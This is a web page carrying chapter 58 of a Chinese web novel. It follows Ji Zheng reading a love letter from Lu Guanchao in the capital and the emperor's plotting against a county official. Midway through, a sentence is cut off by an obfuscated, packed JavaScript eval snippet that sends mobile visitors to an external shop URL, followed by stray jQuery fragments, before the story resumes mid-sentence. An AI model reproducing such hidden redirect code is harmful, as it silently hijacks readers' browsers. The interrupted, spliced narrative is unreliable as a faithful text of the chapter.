文趣网 > 其他小说 > 穿越后一心种田 > 58.第 58 章
    “宋北!”宋有音骂道,“哪里有你这么笨手笨脚的,你看看人家沈弎。”

    沈弎猛地的提及名字,脸颊绯红,加下一个踉跄,扑倒在地,怀里匣子里的冰哗啦啦的掉了一地。

    宋北抱着冰缩到一边,“阿姐,你太凶了。”

    季秧进门就看到这幅场景,一块冰滑到她脚边,吓得惊呼后退。

    沈弎麻利的爬起来,红着脸收拾。

    还好才闭店,门外没什么人,不然可得热闹一回。

    “没……没有。”沈弎支支吾吾道,“宋娘子不凶的,宋小公子……也不笨……比,我好。”

    这段时间实在太忙,前几日沈弎找上门来,他说话还是磕巴,宋有音拼尽全力听了半晌才勉强读懂,是要来白干帮忙。

    有人白送力气,当然是多多益善。

    沈弎干活快,除了总沉默寡言没一点坏处,宋有音对着沈弎教了无数遍,这厮也认真学,只不过每每教时病情加剧,还不如不教,于是就作罢了。

    季秧还没来及帮把手,沈弎就全弄好,垂着头去盛新的了。

    “宋姐姐。”季秧踱步道宋有音身边,眨了眨眼,“你说他是不是……”

    他的意图明显到脚指头都想得明白,宋有音何尝看不出来,她盯着门外的衣角,没说什么。

    反倒是宋北撇撇嘴,“我才不要他做我姐夫,呆呆傻傻的。”

    “得瑟不死你。”宋有音伸手给了他一巴掌,“人家总比你强,快去送冰去,厂里的皂角可等不了你。”

    宋北揉了揉脑袋,低声应道,“哦。”

    “这是怎么了。”

    季铮停在门口,朝里看了一眼,又转头看到门外杵着的人,“沈公子,你也在啊,怎么不进去。”

    “啊!季生员。”沈弎恍然回神,“我要换冰去。”

    说罢,他一颔首转身跑去,像是怕身后谁跟上来似的。

    季铮歪了歪脑袋,环胸而立,和宋有音对视一眼。

    宋有音赶紧推了宋北一把,“快去给人道歉!”

    宋北这时也反应过来自己说的话难听,冰都顾不上拿,追了出去。

    “季生员。”宋有音一脸无奈,“对不住了,让你看笑话了。”

    季铮婉拒道,“和我道什么歉,你该对沈弎道歉。”

    宋有音讪笑一声,“季生员怎么也和李芸季秧一样拿我取笑。”

    “这算什么取笑。”季铮道,“喜欢就上,不喜欢就算,你犹犹豫豫的,这不是在折磨自己吗?”

    宋有音:“生员说起来简单,我不顾及名声独身一个,怎么能耽误人家好儿郎。”

    季铮耸耸肩,“这我就管不到了,我只听说当断不断反受其乱。”

    跑堂的伙计看到来人,叫住季铮,“公子,有一封您的信,大都来的。”

    “大都?”季秧闻言探头去瞧,“是不是陆先生的!阿兄你给我看看。”

    “看什么看。”季铮扫了一眼,果真是陆观潮不假,他不疾不徐的揣进怀里,又道,“这还要宋娘子自个考虑,我来是让季秧记得早些回,话带到我便先走了。”

    季秧探着头瞟了许久也没看到字迹,缩着脑袋点点头。

    算着日子,依照陆观潮的性格,也该给他传个只言片语了,再迟下去季铮都要怀疑陆观潮是不是出事了。

    季铮满心满眼就是回去看信,没心情关心别的,一路疾行,险些撞倒他人,也就没注意到结尾一闪而过的轿子。

    “停一下。”

    轿夫不顾还在街中央,立马停下。

    侍从笑眯眯的讨好迎上去,“老爷,什么事吩咐?”

    董何维撩起车帘,看着远处那一抹青绿色的身影,眉头紧锁,“那个人,瞧起来很是眼熟。”

    “要奴才给您抓回来吗。”

    “不必。”董何维翻了他一个白眼,问道,“他是从哪间铺子出来的。”

    侍卫谄媚的笑道,“奴才这就去查。”

    董何维嘀咕了什么,直到那身影彻底看不到才撂下车帘。

    陆观潮在大都有够闲的,这是季铮还没拆开,捏着厚厚的一沓子纸,冒出的第一个想法。

    看着架势,可谓是事无巨细,恨不得将自己的一言一行都写给他看。

    季铮莫由来笑了一声。

    信中提到大都情况,和王介夫同他说的相差无几,除此之外,还写了那位苍山居士的行踪。

    他手下的人侍奉陛下时,曾听闻苍山居士会参加不久后的圣上寿宴,苍山遥远,如今已经在路上了,圣上令人前行出城迎接,向来是板上钉钉。

    季铮盯着苍山居士几个字沉思,不由想,圣上办这次宴会是为了挑选心腹,这般看来苍山居士也在其中。

    不过既然会选择在新帝登基之际,抛下荣华富贵归隐,必是有缘故的,这次又为何回来。

    只是简单来参加寿宴?那前几年怎么不来。

    这个理由太牵强了,季铮再继续往下看,陆观潮转而写其他的了,不了了之。

    陆观潮先是明里暗里抱怨了一通大都日子难熬,夜夜睡不着觉,又是骂赵年木讷,骂陆泽事多,骂朝臣百官迂腐蠢笨,骂宫人阿谀奉承。

    季铮逗笑了,暗道这天地下就没有让陆观潮顺心的人或事。

    圣上以安抚的名义赏了不少好东西,陆观潮信上道:左右不过一些小玩意,打发打发世间还不错,全留给你玩。

    像是怕被人比下去,又匆匆补充:我府中的宝物比他的稀奇多了,也都留给你,我还藏了私房钱,全给你,愿意怎么花怎么花。

    要不是信使送不了物件,季铮都要怀疑他要把库房钥匙一并送来了。

    陆观潮簌簌叨叨了许多琐事,和他在外人面前素日蹦出来一个字的形象大相径庭。

    季铮教了他几天,陆观潮学东西极快,这封信字迹工整,称得上一句端秀清新。

    这么“赏心悦目”的几页信,到最后一行却变了。

    陆观潮写了好多版,再反反复复涂黑。

    季铮看着几条“大黑长虫”陷入沉思,陆观潮到底要说什么?

    直到季铮翻到背面,心头咯噔一下。

    “一别多日,辗转反侧,不知你心似我心乎?”

    哦,原来不是与大都风水相克,是他在魂牵梦绕着陆观潮的心绪。

    季铮一直看,天边昏黄一片,季秧敲门说回来了都没回应。

    再回神时,脸笑僵了。

    季铮搓了把脸,强忍住笑意,把信收好。

    又想,是不是该回个什么。

    “圣上。”福寿禄例行按摩过后,问道,“今日您可还有地方不舒坦?”

    陆泽捂着脑袋,缓缓吐出一口气,“朕心烦,该当如何。”

    福寿禄道,“奴才去请李太医,开一贴清心的药剂?”

    “心病岂是药石可医。”

    陆泽摇了摇头,“陇县如何了。”

    福寿禄忙找出几本折子交上去,“王大人与董县令都来折子了。”

    陆观潮一事后,陆泽暗地里传口谕骂了董何维,并不打

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669815|205564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    算就此压下,反而在寻机会把这根眼中钉肉中刺剔除。

    恰好俩人冒出来了,陆泽先看了王介夫的折子。

    折子里喜气洋洋,说不过乌龙一场,那位天才生员没死,陇县新型了几件有趣玩意,他怀疑出自生员之手,已托人给圣上送去了。

    陆泽对他说的什么肥皂牙膏云云的不敢心情,只有一句入了他的眼。

    这人活着。

    可太妙了!

    陆泽怀着这样的想法,看董何维的折子都和颜悦色了几分,其折子里也提及了这生员,不过不敢确定,问圣上的意思,要不要带去见圣上。

    陆泽冷嗤一声,将他的折子甩飞在地。

    福寿禄吓得一抖,“圣,圣上?”

    “这董何维还敢挑衅朕。”陆泽恶狠狠道,“看来是摆不清自己的身份。”

    福寿禄不敢去捡那折子,微抬眼问,“圣上的意思。”

    “传旨赵德。”陆泽信手一挥,“他摆不清,没关系,朕替他认清楚,这人是朕的良才,可不是他的。”

    与此同时,陆观潮躺在屋内暖榻,没烧炭火,倒不是内务府不给送,如今他“复生还魂”,饶是内务府再贪,为了小命也不敢苛待。

    他纯粹燥得慌,前几日才安顿好便给季铮去信了,还特意多加了钱,叫信使快些送,现在大抵拿到了吧,回信也许也到了。

    季铮看到了没有,看到了会怎么想,嫌他事多?还是压根没看,不回他信?

    他留在背面的话,也太蠢了点,会不会忒不要脸了,可别吓到季铮了,万一因为他鲁莽,叫季铮那一点点好感转正为负了呢?

    陆观潮越想越觉得不妥,时常懊恼,给自己急得抓耳挠腮,起了一身汗,也就不必烧炭了,往炭盆里一坐,都能给人当火炉使。

    门外赵年问道,“殿下,你要用晚膳吗,内务府送饭来了。”

    “不要。”陆观潮翻身背对房门,“你自己吃吧,我没胃口。”

    他久不在珏王府居住,逢年过节也是凑活住一晚第二天马不停蹄的上路,因此府中仅有一老管事两护院,谁与谁都不熟,珏王府规矩随意,主子不像主子,奴才宛如长辈。

    再说陆观潮这名声,回城时赵年热热闹闹的挑三拣四了一条街,传遍大都,更是雪上加霜。

    即便盯着亲王主帅的名,也无人愿意与他交往,上朝人人躲着,下朝后珏王府门可罗雀,正好不用应酬,余下的世间都用来胡思乱想了。

    陆观潮连着三个晚上没吃晚膳了,赵年身后的罗管事佝偻的腰背,试探问道,“殿下怎么说?”

    罗管事耳背,赵年扯着嗓子朝他道,“殿下不吃了,咱们先吃!”

    “哦,哦。”罗管事下意识反驳,“这个年纪怎么能不吃东西,我给送去。”

    赵年连劝带拉,可算是给这位祖宗哄走了。

    陆观潮掀开蒙着头的被子,满脸哀怨。

    季铮坏死了,他再也不要和季铮这始乱终弃的人见面了!

    外头赵年去而复返。

    “殿下,您来信了。”

    他才抬头,只觉面前扑过来一阵风,陆观潮风卷残云的速度夺过他手中的信,转身关门,一气呵成。

    “哦,还有……”赵年手伸到半空,“砰”的一声被关在门外。

    门内,陆观潮来不及坐下,先去看信件,一看到陇县两个字。

    什么季铮坏死了,什么始乱终弃,什么再也不见面,通通打包掘地三尺埋起来。

    取而代之的,是陆观潮不值钱的傻笑。